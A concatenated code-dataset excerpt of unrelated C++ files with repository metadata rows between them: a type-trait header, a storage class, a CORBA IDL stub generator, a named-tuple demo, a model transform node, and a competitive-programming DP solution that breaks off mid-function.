#include "etl/_type_traits/is_function.hpp"
#include "etl/_type_traits/is_reference_wrapper.hpp"
#include "etl/_utility/forward.hpp"
namespace etl {
namespace detail {
// clang-format off
template <typename T>
struct invoke_impl {
template <typename F, typename... Args>
static auto call(F&& f, Args&&... args) -> decltype(etl::forward<F>(f)(etl::forward<Args>(args)...));
};
template <typename B, typename MT>
struct invoke_impl<MT B::*> {
template <typename T, typename Td = etl::decay_t<T>, typename = etl::enable_if_t<etl::is_base_of_v<B, Td>>>
static auto get(T&& t) -> T&&;
template <typename T, typename Td = etl::decay_t<T>, typename = etl::enable_if_t<etl::is_reference_wrapper<Td>::value>>
static auto get(T&& t) -> decltype(t.get());
template <typename T, typename Td = etl::decay_t<T>, typename = etl::enable_if_t<!etl::is_base_of_v<B, Td>>, typename = etl::enable_if_t<!etl::is_reference_wrapper<Td>::value>>
static auto get(T&& t) -> decltype(*etl::forward<T>(t));
template <typename T, typename... Args, typename MT1, typename = etl::enable_if_t<etl::is_function_v<MT1>>>
static auto call(MT1 B::*pmf, T&& t, Args&&... args) -> decltype((invoke_impl::get(etl::forward<T>(t)).*pmf)(etl::forward<Args>(args)...));
template <typename T>
static auto call(MT B::*pmd, T&& t) -> decltype(invoke_impl::get(etl::forward<T>(t)).*pmd);
};
template <typename F, typename... Args, typename Fd = etl::decay_t<F>>
auto INVOKE(F&& f, Args&&... args) -> decltype(invoke_impl<Fd>::call(etl::forward<F>(f), etl::forward<Args>(args)...));
template <typename AlwaysVoid, typename, typename...>
struct invoke_result {};
template <typename F, typename... Args>
struct invoke_result<decltype(void(detail::INVOKE(etl::declval<F>(), etl::declval<Args>()...))), F, Args...> {
using type = decltype(detail::INVOKE(etl::declval<F>(), etl::declval<Args>()...));
};
// clang-format on
} // namespace detail
/// \brief Deduces the return type of an INVOKE expression at compile time.
/// F and all types in ArgTypes can be any complete type, array of unknown
/// bound, or (possibly cv-qualified) void. The behavior of a program that adds
/// specializations for any of the templates described on this page is
/// undefined. This implementation is copied from **cppreference.com**.
///
/// https://en.cppreference.com/w/cpp/types/result_of
///
/// \group invoke_result
template <typename F, typename... ArgTypes>
struct invoke_result : detail::invoke_result<void, F, ArgTypes...> {
};
/// \group invoke_result
template <typename F, typename... ArgTypes>
using invoke_result_t = typename etl::invoke_result<F, ArgTypes...>::type;
} // namespace etl
#endif // TETL_TYPE_TRAITS_INVOKE_RESULT_HPP | 40.3 | 180 | 0.708127 | tobanteAudio |
e757974594b2b11a430eb98e498866af6074b5df | 157 | hpp | C++ | Engine/Src/Runtime/Core/Public/Core/Serialization/ISerializable.hpp | Septus10/Fade-Engine | 285a2a1cf14a4e9c3eb8f6d30785d1239cef10b6 | [
"MIT"
] | null | null | null | Engine/Src/Runtime/Core/Public/Core/Serialization/ISerializable.hpp | Septus10/Fade-Engine | 285a2a1cf14a4e9c3eb8f6d30785d1239cef10b6 | [
"MIT"
] | null | null | null | Engine/Src/Runtime/Core/Public/Core/Serialization/ISerializable.hpp | Septus10/Fade-Engine | 285a2a1cf14a4e9c3eb8f6d30785d1239cef10b6 | [
"MIT"
] | null | null | null | #pragma once
namespace Fade {
class ISerializable
{
//virtual void Deserialize(FArchive& a_Archive);
//virtual void Serialize(FArchive& a_Archive);
};
} | 14.272727 | 49 | 0.745223 | Septus10 |
e7588090f41459d443547753782bfcdf6f8835cd | 2,975 | cc | C++ | model/storage.cc | MarshallAsch/rhpman | 6d35c1e63dafcc6ed4d172125909c8993da034a3 | [
"0BSD"
] | 1 | 2021-07-29T21:30:01.000Z | 2021-07-29T21:30:01.000Z | model/storage.cc | MarshallAsch/rhpman | 6d35c1e63dafcc6ed4d172125909c8993da034a3 | [
"0BSD"
] | 38 | 2021-05-20T14:05:30.000Z | 2022-03-24T04:01:15.000Z | model/storage.cc | MarshallAsch/rhpman | 6d35c1e63dafcc6ed4d172125909c8993da034a3 | [
"0BSD"
] | null | null | null | /// \file storage.cc
/// \author Marshall Asch <masch@uoguelph.ca>
/// \brief Storage driver for the RHPMAN data storage scheme.
///
///
/// Copyright (c) 2021 by Marshall Asch <masch@uoguelph.ca>
/// Permission to use, copy, modify, and/or distribute this software for any
/// purpose with or without fee is hereby granted, provided that the above
/// copyright notice and this permission notice appear in all copies.
///
/// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
/// REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
/// AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
/// INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
/// LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
/// OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
/// PERFORMANCE OF THIS SOFTWARE.
///
#include "storage.h"
namespace rhpman {
using namespace ns3;
Storage::Storage() { m_storageSpace = 0; }
Storage::Storage(uint32_t capacity) { Init(capacity); }
Storage::~Storage() { ClearStorage(); }
// this will do the actual storage. will store the item not a copy
// true if there was space false otherwise
bool Storage::StoreItem(std::shared_ptr<DataItem> data) {
// make sure there are not too many items being stored and that the item is not already stored
if (m_storage.size() >= m_storageSpace || m_storage.count(data->getID()) == 1) return false;
m_storage[data->getID()] = data;
return true;
}
void Storage::Init(uint32_t capacity) {
m_storageSpace = capacity;
ClearStorage();
}
// this will return a pointer to the data item if it is found or NULL if it is not
std::shared_ptr<DataItem> Storage::GetItem(uint64_t dataID) {
// auto found = std::shared_ptr<DataItem>(nullptr);
return HasItem(dataID) ? m_storage[dataID] : std::shared_ptr<DataItem>(nullptr);
}
bool Storage::HasItem(uint64_t dataID) const { return m_storage.count(dataID) == 1; }
// return true if the item was removed from storage, false if it was not found
bool Storage::RemoveItem(uint64_t dataID) {
bool found = m_storage.count(dataID) == 1;
m_storage.erase(dataID);
return found;
}
// this will empty all data items from storage
void Storage::ClearStorage() { m_storage.clear(); }
std::vector<std::shared_ptr<DataItem>> Storage::GetAll() const {
std::vector<std::shared_ptr<DataItem>> items;
for (auto& pair : m_storage) {
items.push_back(pair.second);
}
return items;
}
// this is a helper and will return the number of data items that can be stored in local storage
uint32_t Storage::GetFreeSpace() const { return m_storageSpace - m_storage.size(); }
uint32_t Storage::Count() const { return m_storage.size(); }
double Storage::PercentUsed() const { return Count() / (double)m_storageSpace; }
double Storage::PercentFree() const { return GetFreeSpace() / (double)m_storageSpace; }
}; // namespace rhpman
| 35.416667 | 96 | 0.729748 | MarshallAsch |
e759eb290abeede130fd33cb6ecddc6ff6679012 | 791 | cc | C++ | impl/media/base/tizen/demuxer_stream_player_params_tizen.cc | isabella232/chromium-efl | db2d09aba6498fb09bbea1f8440d071c4b0fde78 | [
"BSD-3-Clause"
] | 9 | 2015-04-09T20:22:08.000Z | 2021-03-17T08:34:56.000Z | impl/media/base/tizen/demuxer_stream_player_params_tizen.cc | crosswalk-project/chromium-efl | db2d09aba6498fb09bbea1f8440d071c4b0fde78 | [
"BSD-3-Clause"
] | 2 | 2015-02-04T13:41:12.000Z | 2015-05-25T14:00:40.000Z | impl/media/base/tizen/demuxer_stream_player_params_tizen.cc | isabella232/chromium-efl | db2d09aba6498fb09bbea1f8440d071c4b0fde78 | [
"BSD-3-Clause"
] | 14 | 2015-02-12T16:20:47.000Z | 2022-01-20T10:36:26.000Z | // Copyright 2014 Samsung Electronics Inc. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "media/base/tizen/demuxer_stream_player_params_tizen.h"
namespace media {
DemuxerConfigs::DemuxerConfigs()
: audio_codec(kUnknownAudioCodec),
audio_channels(0),
audio_sampling_rate(0),
is_audio_encrypted(false),
video_codec(kUnknownVideoCodec),
is_video_encrypted(false),
duration_ms(0) {}
DemuxerConfigs::~DemuxerConfigs() {}
DemuxedBufferMetaData::DemuxedBufferMetaData()
: size(0),
end_of_stream(false),
type(DemuxerStream::UNKNOWN),
status(DemuxerStream::kAborted) {}
DemuxedBufferMetaData::~DemuxedBufferMetaData() {}
} // namespace media
| 27.275862 | 73 | 0.729456 | isabella232 |
e75b82940a5bbaa9ee42efa1243a2bd7c3e4f01f | 17,760 | cpp | C++ | ace/tao/tao_idl/be/be_visitor_operation/ami_cs.cpp | tharindusathis/sourcecodes-of-CodeReadingTheOpenSourcePerspective | 1b0172cdb78757fd17898503aaf6ce03d940ef28 | [
"Apache-1.1"
] | 46 | 2015-12-04T17:12:58.000Z | 2022-03-11T04:30:49.000Z | ace/tao/tao_idl/be/be_visitor_operation/ami_cs.cpp | tharindusathis/sourcecodes-of-CodeReadingTheOpenSourcePerspective | 1b0172cdb78757fd17898503aaf6ce03d940ef28 | [
"Apache-1.1"
] | null | null | null | ace/tao/tao_idl/be/be_visitor_operation/ami_cs.cpp | tharindusathis/sourcecodes-of-CodeReadingTheOpenSourcePerspective | 1b0172cdb78757fd17898503aaf6ce03d940ef28 | [
"Apache-1.1"
] | 23 | 2016-10-24T09:18:14.000Z | 2022-02-25T02:11:35.000Z | //
// ami_cs.cpp,v 1.27 2000/11/16 03:51:19 bala Exp
//
// ============================================================================
//
// = LIBRARY
// TAO IDL
//
// = FILENAME
// ami_cs.cpp
//
// = DESCRIPTION
// Visitor generating code for Operation in the stubs file.
//
// = AUTHOR
// Aniruddha Gokhale,
// Alexander Babu Arulanthu <alex@cs.wustl.edu>
// Michael Kircher
//
// ============================================================================
#include "idl.h"
#include "idl_extern.h"
#include "be.h"
#include "be_visitor_operation.h"
ACE_RCSID(be_visitor_operation, operation_ami_cs, "ami_cs.cpp,v 1.27 2000/11/16 03:51:19 bala Exp")
// ************************************************************
// Operation visitor for client stubs
// ************************************************************
be_visitor_operation_ami_cs::be_visitor_operation_ami_cs (be_visitor_context *ctx)
: be_visitor_operation (ctx)
{
}
be_visitor_operation_ami_cs::~be_visitor_operation_ami_cs (void)
{
}
// Processing to be done after every element in the scope is
// processed.
int
be_visitor_operation_ami_cs::post_process (be_decl *bd)
{
// all we do here is to insert a comma and a newline
TAO_OutStream *os = this->ctx_->stream ();
if (!this->last_node (bd))
*os << ",\n";
return 0;
}
int
be_visitor_operation_ami_cs::visit_operation (be_operation *node)
{
// No sendc method for oneway operations.
if (node->flags () == AST_Operation::OP_oneway)
return 0;
TAO_OutStream *os; // output stream
be_visitor_context ctx; // visitor context
be_visitor *visitor; // visitor
os = this->ctx_->stream ();
this->ctx_->node (node); // save the node for future use
os->indent (); // start with the current indentation level
// Generate the return type mapping. Return type is simply void.
*os << "void" << be_nl;
// Generate the operation name.
// Grab the scope name.
be_decl *parent =
be_scope::narrow_from_scope (node->defined_in ())->decl ();
if (parent == 0)
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"scope name is nil\n"),
-1);
// Generate the scope::operation name.
*os << parent->full_name ()
<< "::sendc_";
// check if we are an attribute node in disguise
if (this->ctx_->attribute ())
{
// now check if we are a "get" or "set" operation
if (node->nmembers () == 1) // set
*os << "set_";
else
*os << "get_";
}
*os << node->local_name ()->get_string ();
// Generate the argument list with the appropriate mapping (same as
// in the header file)
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_ARGLIST_OTHERS);
visitor = tao_cg->make_visitor (&ctx);
if ((!visitor) || (node->arguments ()->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for argument list failed\n"),
-1);
}
delete visitor;
visitor = 0;
// Generate the actual code for the stub. However, if any of the argument
// types is "native", we flag a MARSHAL exception.
// last argument - is always CORBA::Environment
*os << "{" << be_idt_nl;
*os << this->gen_environment_var () << be_nl;
be_type *bt = be_type::narrow_from_decl (node->arguments ()->return_type ());
// generate any pre stub info if and only if none of our parameters is of the
// native type
if (!node->has_native ())
{
// native type does not exist.
// Generate any "pre" stub information such as tables or declarations
// This is a template method and the actual work will be done by the
// derived class
if (this->gen_pre_stub_info (node, bt) == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"gen_pre_stub_info failed\n"),
-1);
}
}
if (node->has_native ()) // native exists => no stub
{
if (this->gen_raise_exception (bt,
"CORBA::MARSHAL",
"") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for return var failed\n"),
-1);
}
}
else
{
// Generate code that retrieves the underlying stub object and then
// invokes do_static_call on it.
*os << be_nl
<< "TAO_Stub *istub = this->_stubobj ();" << be_nl
<< "if (istub == 0)" << be_idt_nl;
// if the stub object was bad, then we raise a system exception
if (this->gen_raise_exception (bt, "CORBA::INV_OBJREF",
"") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for checking exception failed\n"),
-1);
}
*os << be_uidt_nl << "\n";
// Generate the code for marshaling in the parameters and transmitting
// them.
if (this->gen_marshal_and_invoke (node, bt) == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for marshal and invoke failed\n"),
-1);
}
// No return values.
*os << "return;";
} // end of if (!native)
*os << be_uidt_nl << "}\n\n";
return 0;
}
int
be_visitor_operation_ami_cs::visit_argument (be_argument *node)
{
// this method is used to generate the ParamData table entry
TAO_OutStream *os = this->ctx_->stream ();
be_type *bt; // argument type
// retrieve the type for this argument
bt = be_type::narrow_from_decl (node->field_type ());
if (!bt)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_argument - "
"Bad argument type\n"),
-1);
}
os->indent ();
*os << "{" << bt->tc_name () << ", ";
switch (node->direction ())
{
case AST_Argument::dir_IN:
*os << "PARAM_IN, ";
break;
case AST_Argument::dir_INOUT:
*os << "PARAM_INOUT, ";
break;
case AST_Argument::dir_OUT:
*os << "PARAM_OUT, ";
break;
}
*os << "0}";
return 0;
}
int
be_visitor_operation_ami_cs::gen_raise_exception (be_type *bt,
const char *excep,
const char *completion_status)
{
TAO_OutStream *os = this->ctx_->stream ();
be_visitor *visitor;
be_visitor_context ctx;
if (this->void_return_type (bt))
{
if (be_global->use_raw_throw ())
*os << "throw ";
else
*os << "ACE_THROW (";
*os << excep << " (" << completion_status << ")";
if (be_global->use_raw_throw ())
*os << ";\n";
else
*os << ");\n";
}
else
{
*os << "ACE_THROW_RETURN ("
<< excep << " (" << completion_status << "), ";
// return the appropriate return value
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_RETVAL_RETURN_CS);
visitor = tao_cg->make_visitor (&ctx);
if (!visitor || (bt->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"gen_raise_exception - "
"codegen for return var failed\n"),
-1);
}
*os << ");\n";
}
return 0;
}
int
be_visitor_operation_ami_cs::gen_check_exception (be_type *bt)
{
TAO_OutStream *os = this->ctx_->stream ();
be_visitor *visitor;
be_visitor_context ctx;
os->indent ();
// check if there is an exception
if (this->void_return_type (bt))
{
*os << "ACE_CHECK;\n";
}
else
{
*os << "ACE_CHECK_RETURN (";
// return the appropriate return value
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_RETVAL_RETURN_CS);
visitor = tao_cg->make_visitor (&ctx);
if (!visitor || (bt->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"gen_check_exception - "
"codegen failed\n"),
-1);
}
*os << ");\n";
}
return 0;
}
// ************************************************************
// Operation visitor for interpretive client stubs
// ************************************************************
be_interpretive_visitor_operation_ami_cs::
be_interpretive_visitor_operation_ami_cs (be_visitor_context *ctx)
: be_visitor_operation_ami_cs (ctx)
{
}
be_interpretive_visitor_operation_ami_cs::~be_interpretive_visitor_operation_ami_cs (void)
{
}
// concrete implementation of the template methods
int
be_interpretive_visitor_operation_ami_cs::gen_pre_stub_info (be_operation *node,
be_type *bt)
{
ACE_UNUSED_ARG (node);
ACE_UNUSED_ARG (bt);
return 0;
}
int
be_interpretive_visitor_operation_ami_cs::gen_marshal_and_invoke (be_operation *node,
be_type *bt)
{
ACE_UNUSED_ARG (node);
ACE_UNUSED_ARG (bt);
return 0;
}
// ************************************************************
// Operation visitor for compiled client stubs
// ************************************************************
be_compiled_visitor_operation_ami_cs::
be_compiled_visitor_operation_ami_cs (be_visitor_context *ctx)
: be_visitor_operation_ami_cs (ctx)
{
}
be_compiled_visitor_operation_ami_cs::~be_compiled_visitor_operation_ami_cs (void)
{
}
// concrete implementation of the template methods
int
be_compiled_visitor_operation_ami_cs::gen_pre_stub_info (be_operation *node,
be_type *bt)
{
// Nothing to be done here, we do not through any exceptions,
// besides system exceptions, so we do not need an user exception table.
ACE_UNUSED_ARG (node);
ACE_UNUSED_ARG (bt);
return 0;
}
int
be_compiled_visitor_operation_ami_cs::gen_marshal_and_invoke (be_operation *node,
be_type *bt)
{
TAO_OutStream *os = this->ctx_->stream ();
be_visitor *visitor;
be_visitor_context ctx;
os->indent ();
// Create the GIOP_Invocation and grab the outgoing CDR stream.
switch (node->flags ())
{
case AST_Operation::OP_oneway:
// If it is a oneway, we wouldnt have come here to generate AMI
// sendc method.
break;
default:
*os << "TAO_GIOP_Twoway_Asynch_Invocation _tao_call ";
}
*os << "(" << be_idt << be_idt_nl
<< "istub," << be_nl;
*os << "\"";
size_t ext = 0;
if (this->ctx_->attribute ())
{
// now check if we are a "get" or "set" operation
if (node->nmembers () == 1) // set
*os << "_set_";
else
*os << "_get_";
ext += 5;
}
// Do we have any arguments in the operation that needs marshalling
UTL_ScopeActiveIterator si (node,
UTL_Scope::IK_decls);
AST_Decl *d = 0;
AST_Argument *arg = 0;
int flag = 0;
while (!si.is_done ())
{
d = si.item ();
arg = AST_Argument::narrow_from_decl (d);
if (arg->direction () == AST_Argument::dir_IN ||
arg->direction () == AST_Argument::dir_INOUT)
{
// There is something that needs marshalling
flag = 1;
break;
}
si.next ();
}
*os << node->local_name ()
<< "\"," << be_nl
<< ACE_OS::strlen (node->original_local_name ()->get_string ()) + ext
<< "," << be_nl
<< flag
<< ","<< be_nl
<< "istub->orb_core ()," << be_nl;
// Next argument is the reply handler skeleton for this method.
// Get the interface.
be_decl *interface = be_interface::narrow_from_scope (node->defined_in ())->decl ();
{
char *full_name = 0;
interface->compute_full_name ("AMI_",
"Handler",
full_name);
*os << "&" << full_name << "::";
if (this->ctx_->attribute ())
{
// now check if we are a "get" or "set" operation
if (node->nmembers () == 1) // set
*os << "set_";
else
*os << "get_";
}
*os << node->local_name () << "_reply_stub," << be_nl;
delete full_name;
}
// Next argument is the ami handler passed in for this method.
*os << "ami_handler" << be_uidt_nl
<< ");" << be_uidt_nl;
*os << "\n" << be_nl
<< "for (;;)" << be_nl
<< "{" << be_idt_nl;
*os << "_tao_call.start (ACE_TRY_ENV);" << be_nl;
// Check if there is an exception.
// Return type is void, so we know what to generate here.
*os << "ACE_CHECK;" << be_nl;
// Prepare the request header
os->indent ();
*os << "CORBA::Short _tao_response_flag = ";
switch (node->flags ())
{
case AST_Operation::OP_oneway:
*os << "_tao_call.sync_scope ();";
break;
default:
*os << "TAO_TWOWAY_RESPONSE_FLAG;" << be_nl;
}
*os << be_nl
<< "_tao_call.prepare_header (" << be_idt << be_idt_nl
<< "ACE_static_cast (CORBA::Octet, _tao_response_flag), ACE_TRY_ENV"
<< be_uidt_nl << ");" << be_uidt << "\n";
// Now make sure that we have some in and inout
// parameters. Otherwise, there is nothing to be marshaled in.
if (this->has_param_type (node, AST_Argument::dir_IN) ||
this->has_param_type (node, AST_Argument::dir_INOUT))
{
*os << be_nl
<< "TAO_OutputCDR &_tao_out = _tao_call.out_stream ();"
<< be_nl
<< "if (!(\n" << be_idt << be_idt << be_idt;
// Marshal each in and inout argument.
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_ARG_INVOKE_CS);
ctx.sub_state (TAO_CodeGen::TAO_CDR_OUTPUT);
visitor = tao_cg->make_visitor (&ctx);
if (!visitor || (node->marshaling ()->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and_invoke - "
"codegen for return var in do_static_call failed\n"),
-1);
}
*os << be_uidt << be_uidt_nl
<< "))" << be_nl;
// If marshaling fails, raise exception.
if (this->gen_raise_exception (bt, "CORBA::MARSHAL",
"") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and invoke - "
"codegen for return var failed\n"),
-1);
}
*os << be_uidt;
}
*os << be_nl
<< "int _invoke_status = _tao_call.invoke (ACE_TRY_ENV);";
*os << be_uidt_nl;
// Check if there is an exception.
if (this->gen_check_exception (bt) == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and_invoke - "
"codegen for checking exception failed\n"),
-1);
}
*os << be_nl
<< "if (_invoke_status == TAO_INVOKE_RESTART)" << be_idt_nl
<< "{" << be_nl
<< " _tao_call.restart_flag (1);" << be_nl
<< " continue;" <<be_nl
<< "}"<< be_uidt_nl
<< "if (_invoke_status != TAO_INVOKE_OK)" << be_nl
<< "{" << be_idt_nl;
if (this->gen_raise_exception (bt,
"CORBA::UNKNOWN",
"TAO_DEFAULT_MINOR_CODE, CORBA::COMPLETED_YES") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and invoke - "
"codegen for return var failed\n"),
-1);
}
*os << be_uidt_nl
<< "}" << be_nl
<< "break;" << be_nl
<< be_uidt_nl << "}" << be_nl;
// Return type is void and we are going to worry about OUT or INOUT
// parameters. Return from here.
return 0;
}
| 29.550749 | 100 | 0.506306 | tharindusathis |
e75cd630cfad240bb7d9da791fa9584cdf112488 | 983 | cc | C++ | test/demo5.cc | clems4ever/named_types | 1a31b3ae99c47ed8a0404531e5b6957b136febb3 | [
"MIT"
] | 50 | 2015-07-25T15:37:59.000Z | 2022-01-26T19:50:18.000Z | test/demo5.cc | clems4ever/named_types | 1a31b3ae99c47ed8a0404531e5b6957b136febb3 | [
"MIT"
] | 3 | 2017-05-08T09:33:43.000Z | 2017-12-22T19:36:30.000Z | test/demo5.cc | clems4ever/named_types | 1a31b3ae99c47ed8a0404531e5b6957b136febb3 | [
"MIT"
] | 8 | 2015-07-25T15:38:00.000Z | 2020-07-16T06:56:04.000Z | #include <named_types/named_tuple.hpp>
#include <type_traits>
#include <string>
#include <iostream>
#include <vector>
using namespace named_types;
namespace {
size_t constexpr operator "" _h(const char* c, size_t s) { return const_hash(c); }
template <size_t HashCode> constexpr named_tag<std::integral_constant<size_t,HashCode>> at() { return {}; }
template <size_t HashCode, class Tuple> constexpr decltype(auto) at(Tuple&& in) { return at<HashCode>()(std::forward<Tuple>(in)); }
}
int main() {
auto test = make_named_tuple(
at<"name"_h>() = std::string("Roger")
, at<"age"_h>() = 47
, at<"size"_h>() = 1.92
, at<"list"_h>() = std::vector<int> {1,2,3}
);
std::cout
<< at<"name"_h>(test) << "\n"
<< at<"age"_h>(test) << "\n"
<< at<"size"_h>(test) << "\n"
<< at<"list"_h>(test).size()
<< std::endl;
std::get<decltype(at<"name"_h>())>(test) = "Marcel";
++std::get<1>(test);
at<"size"_h>(test) = 1.93;
return 0;
}
| 28.911765 | 131 | 0.600203 | clems4ever |
e75ed37cb1e1a2f270f68117ea0537ff36058f16 | 2,913 | cc | C++ | code/render/models/nodes/transformnode.cc | sirAgg/nebula | 3fbccc73779944aa3e56b9e8acdd6fedd1d38006 | [
"BSD-2-Clause"
] | 377 | 2018-10-24T08:34:21.000Z | 2022-03-31T23:37:49.000Z | code/render/models/nodes/transformnode.cc | sirAgg/nebula | 3fbccc73779944aa3e56b9e8acdd6fedd1d38006 | [
"BSD-2-Clause"
] | 11 | 2020-01-22T13:34:46.000Z | 2022-03-07T10:07:34.000Z | code/render/models/nodes/transformnode.cc | sirAgg/nebula | 3fbccc73779944aa3e56b9e8acdd6fedd1d38006 | [
"BSD-2-Clause"
] | 23 | 2019-07-13T16:28:32.000Z | 2022-03-20T09:00:59.000Z | //------------------------------------------------------------------------------
// transformnode.cc
// (C)2017-2020 Individual contributors, see AUTHORS file
//------------------------------------------------------------------------------
#include "render/stdneb.h"
#include "transformnode.h"
#include "coregraphics/transformdevice.h"
using namespace Util;
namespace Models
{
//------------------------------------------------------------------------------
/**
*/
TransformNode::TransformNode() :
position(0.0f, 0.0f, 0.0f),
rotate(0.0f, 0.0f, 0.0f, 1.0f),
scale(1.0f, 1.0f, 1.0f),
rotatePivot(0.0f, 0.0f, 0.0f),
scalePivot(0.0f, 0.0f, 0.0f),
isInViewSpace(false),
minDistance(0.0f),
maxDistance(10000.0f),
useLodDistances(false),
lockedToViewer(false)
{
this->type = TransformNodeType;
this->bits = HasTransformBit;
}
//------------------------------------------------------------------------------
/**
*/
TransformNode::~TransformNode()
{
// empty
}
//------------------------------------------------------------------------------
/**
*/
bool
TransformNode::Load(const Util::FourCC& fourcc, const Util::StringAtom& tag, const Ptr<IO::BinaryReader>& reader, bool immediate)
{
bool retval = true;
if (FourCC('POSI') == fourcc)
{
// position
this->position = xyz(reader->ReadVec4());
}
else if (FourCC('ROTN') == fourcc)
{
// rotation
this->rotate = reader->ReadVec4();
}
else if (FourCC('SCAL') == fourcc)
{
// scale
this->scale = xyz(reader->ReadVec4());
}
else if (FourCC('RPIV') == fourcc)
{
this->rotatePivot = xyz(reader->ReadVec4());
}
else if (FourCC('SPIV') == fourcc)
{
this->scalePivot = xyz(reader->ReadVec4());
}
else if (FourCC('SVSP') == fourcc)
{
this->isInViewSpace = reader->ReadBool();
}
else if (FourCC('SLKV') == fourcc)
{
this->lockedToViewer = reader->ReadBool();
}
else if (FourCC('SMID') == fourcc)
{
this->minDistance = reader->ReadFloat();
this->maxDistance = Math::max(this->minDistance, this->maxDistance);
this->useLodDistances = true;
}
else if (FourCC('SMAD') == fourcc)
{
this->maxDistance = reader->ReadFloat();
this->minDistance = Math::min(this->minDistance, this->maxDistance);
this->useLodDistances = true;
}
else
{
retval = ModelNode::Load(fourcc, tag, reader, immediate);
}
return retval;
}
//------------------------------------------------------------------------------
/**
*/
void
TransformNode::Instance::Update()
{
CoreGraphics::TransformDevice* transformDevice = CoreGraphics::TransformDevice::Instance();
transformDevice->SetModelTransform(this->modelTransform);
transformDevice->SetObjectId(this->objectId);
}
} // namespace Models | 26.972222 | 129 | 0.504634 | sirAgg |
e75ee56a20761b1c08724a624b28db3f0864eb6d | 2,976 | cpp | C++ | SPOJ/MIXTURES - Mixtures.cpp | ravirathee/Competitive-Programming | 20a0bfda9f04ed186e2f475644e44f14f934b533 | [
"Unlicense"
] | 6 | 2018-11-26T02:38:07.000Z | 2021-07-28T00:16:41.000Z | SPOJ/MIXTURES - Mixtures.cpp | ravirathee/Competitive-Programming | 20a0bfda9f04ed186e2f475644e44f14f934b533 | [
"Unlicense"
] | 1 | 2021-05-30T09:25:53.000Z | 2021-06-05T08:33:56.000Z | SPOJ/MIXTURES - Mixtures.cpp | ravirathee/Competitive-Programming | 20a0bfda9f04ed186e2f475644e44f14f934b533 | [
"Unlicense"
] | 4 | 2020-04-16T07:15:01.000Z | 2020-12-04T06:26:07.000Z | /*MIXTURES - Mixtures
#dynamic-programming
Harry Potter has n mixtures in front of him, arranged in a row. Each mixture has one of 100 different colors (colors have numbers from 0 to 99).
He wants to mix all these mixtures together. At each step, he is going to take two mixtures that stand next to each other and mix them together, and put the resulting mixture in their place.
When mixing two mixtures of colors a and b, the resulting mixture will have the color (a+b) mod 100.
Also, there will be some smoke in the process. The amount of smoke generated when mixing two mixtures of colors a and b is a*b.
Find out what is the minimum amount of smoke that Harry can get when mixing all the mixtures together.
Input
There will be a number of test cases in the input.
The first line of each test case will contain n, the number of mixtures, 1 <= n <= 100.
The second line will contain n integers between 0 and 99 - the initial colors of the mixtures.
Output
For each test case, output the minimum amount of smoke.
Example
Input:
2
18 19
3
40 60 20
Output:
342
2400
In the second test case, there are two possibilities:
first mix 40 and 60 (smoke: 2400), getting 0, then mix 0 and 20 (smoke: 0); total amount of smoke is 2400
first mix 60 and 20 (smoke: 1200), getting 80, then mix 40 and 80 (smoke: 3200); total amount of smoke is 4400
The first scenario is a much better way to proceed. */
#include <algorithm>
#include <iostream>
#include <iterator>
#include <limits>
#include <numeric>
#include <vector>
long solve(const int i,
const int j,
const std::vector<int>& arr,
std::vector<std::vector<int>>& dp)
{
if (i >= j)
return 0;
else if (dp[i][j] != -1)
return dp[i][j];
else
{
long res = std::numeric_limits<int>::max();
for (int k = i; k < j; ++k)
{
static auto sum_mod = [](int a, int b){return (a + b) % 100;};
int csum1 = std::accumulate(std::begin(arr)+i,
std::begin(arr)+k+1,
0,
sum_mod);
int csum2 = std::accumulate(std::begin(arr)+k+1,
std::begin(arr)+j+1,
0,
sum_mod);
res = std::min(res, solve(i, k, arr, dp) + solve(k+1, j, arr, dp) + (csum1*csum2));
}
dp[i][j] = res;
return res;
}
}
int main()
{
std::ios_base::sync_with_stdio(false);
int n;
while (std::cin >> n)
{
std::vector<int> arr (n);
std::vector<std::vector<int>> dp (n, std::vector<int>(n, -1));
